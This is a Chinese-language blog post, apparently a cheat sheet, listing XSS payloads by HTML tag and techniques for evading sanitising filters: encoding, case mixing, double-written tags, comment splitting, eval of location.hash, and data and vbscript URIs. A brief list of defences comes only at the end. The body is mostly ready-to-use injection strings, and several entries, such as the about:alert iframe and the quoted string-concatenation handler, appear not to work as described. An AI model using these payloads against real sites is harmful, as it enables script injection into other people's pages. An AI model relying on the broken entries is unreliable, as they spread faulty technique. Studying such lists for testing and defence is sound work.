XSS攻击常用标签、绕过思路

XSS攻击概述

跨站脚本攻击(XSS)是指攻击者向网页中插入恶意脚本代码,当用户浏览该页面时,嵌入的恶意代码会被执行,从而达到攻击目的。

常用XSS攻击向量

1. <img> 标签利用

<!-- 图片加载错误触发 -->
<img src=1 onerror=alert('XSS')>

<!-- 鼠标事件触发 -->
<img src=1 onmouseover=alert('XSS')>
<img src=1 onmouseout=alert('XSS')>

<!-- 点击事件触发 -->
<img src=1 onclick=alert('XSS')>

<!-- 加载事件触发 -->
<img src="valid.jpg" onload=alert('XSS')>

2. <a> 标签利用

<!-- JavaScript伪协议 -->
<a href="javascript:alert('XSS')">点击这里</a>
<a href="javascript:eval(alert('XSS'))">链接</a>

<!-- 事件触发 -->
<a href="" onclick=alert('XSS')>点击</a>
<a href="http://example.com" onmouseover=alert('XSS')>悬停触发</a>

3. <input> 标签利用

<!-- 自动聚焦触发 -->
<input onfocus=alert('XSS') autofocus>

<!-- 点击触发 -->
<input value="点击我" onclick=alert('XSS') type="text">

<!-- 键盘事件触发 -->
<input type="text" onkeydown=alert('XSS')>
<input type="text" onkeypress=alert('XSS')>
<input type="text" onkeyup=alert('XSS')>

<!-- 结合script标签 -->
<input name="name" value=""><script>alert('XSS')</script>

4. <form> 标签利用

<!-- 表单action属性 -->
<form action=javascript:alert('XSS') method="get">
<form action=1 onmouseover=alert('XSS')>

<!-- 表单提交事件 -->
<form onsubmit=alert('XSS')>
  <input type=submit>
</form>

5. <svg> 标签利用

<!-- SVG加载事件 -->
<svg onload=alert('XSS')>

<!-- SVG内部脚本 -->
<svg xmlns="http://www.w3.org/2000/svg">
  <script>alert('XSS')</script>
</svg>

6. <iframe> 标签利用

<!-- 加载事件 -->
<iframe onload=alert('XSS')></iframe>

<!-- JavaScript伪协议 -->
<iframe src=javascript:alert('XSS')></iframe>

<!-- Data URI -->
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4="></iframe>

7. 其他HTML标签利用

<!-- button标签 -->
<button onclick="alert('XSS')">点击按钮</button>

<!-- p标签鼠标事件 -->
<p onmousedown=alert('XSS')>点击这里</p>
<p onmouseup=alert('XSS')>释放鼠标</p>

<!-- audio/video标签 -->
<audio src=x onerror=alert('XSS')>
<video src=x onerror=alert('XSS')>

<!-- div标签 -->
<div onmouseover=alert('XSS')>悬停区域</div>

<!-- body标签 -->
<body onload=alert('XSS')>

XSS绕过技术

1. 编码绕过

<!-- URL编码 -->
<a href="javascript:%61%6c%65%72%74%28%27%58%53%53%27%29">链接</a>

<!-- HTML实体编码 -->
<img src=x onerror=&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>

<!-- Unicode编码 -->
<img src=x onerror=\u0061\u006c\u0065\u0072\u0074('XSS')>

<!-- Base64编码 -->
<script>eval(atob('YWxlcnQoJ1hTUycp'))</script>

2. 大小写与双写绕过

<!-- 大小写混合 -->
<ImG sRc=x OnErRor=alert('XSS')>

<!-- 双写绕过过滤 -->
<imimgg src=x onerror=alert('XSS')>
<scscriptript>alert('XSS')</scscriptript>

3. 空格与特殊字符绕过

<!-- 使用Tab代替空格 -->
<img	src=x	onerror=alert('XSS')>

<!-- 使用回车编码 -->
<img%0dsrc=x%0donerror=alert('XSS')>

<!-- 使用/代替空格 -->
<img/src=x/onerror=alert('XSS')>

4. 注释符干扰

<!-- 插入注释干扰检测 -->
<img src=x onerror=alert('XSS')><!-- -->
<sc<!-- -->ript>alert('XSS')</sc<!-- -->ript>

<!-- 利用注释分割关键字 -->
<scr<!--test-->ipt>alert('XSS')</scr<!--test-->ipt>

5. 属性分割与拼接

<!-- 利用多个属性 -->
<img src="x" style="display:none" onerror="alert('XSS')">

<!-- 属性拼接 -->
<img src="x" onerror="al"+"ert('XSS')">

<!-- 利用JavaScript字符串连接 -->
<img src=x onerror=window['al'+'ert']('XSS')>

6. 高级绕过技术

<!-- 利用AngularJS ng-include -->
<div ng-include="'javascript:alert(`XSS`)'"></div>

<!-- 利用模板字符串 -->
<script>alert`XSS`</script>

<!-- 利用location.hash -->
<script>eval(location.hash.slice(1))</script>
<!-- 访问URL: example.com#alert('XSS') -->

<!-- 利用事件委派 -->
<div onclick="alert('XSS')">
  <img src=x>
</div>

7. 协议与数据URI绕过

<!-- 使用vbscript协议(仅IE) -->
<a href="vbscript:MsgBox('XSS')">点击</a>

<!-- 使用data URI -->
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4="></object>

<!-- 使用about协议 -->
<iframe src="about:alert('XSS')"></iframe>

防御建议

  1. 输入验证与过滤

    • 对用户输入进行严格验证
    • 过滤或转义特殊字符(<, >, ", ', &等)
  2. 输出编码

    • 根据输出上下文进行适当的编码(HTML, JavaScript, URL等)
  3. 内容安全策略(CSP)

    • 实施严格的内容安全策略
    • 限制脚本来源和执行方式
  4. HttpOnly Cookie

    • 设置HttpOnly标志,防止JavaScript访问敏感Cookie
  5. 框架安全功能

    • 使用现代框架的内置XSS防护功能

总结

XSS攻击手段多样且不断演变,防御XSS需要采取多层次的安全措施。开发人员应始终保持安全意识,对用户输入保持不信任态度,并实施适当的安全防护措施。


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Forfun_tt

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值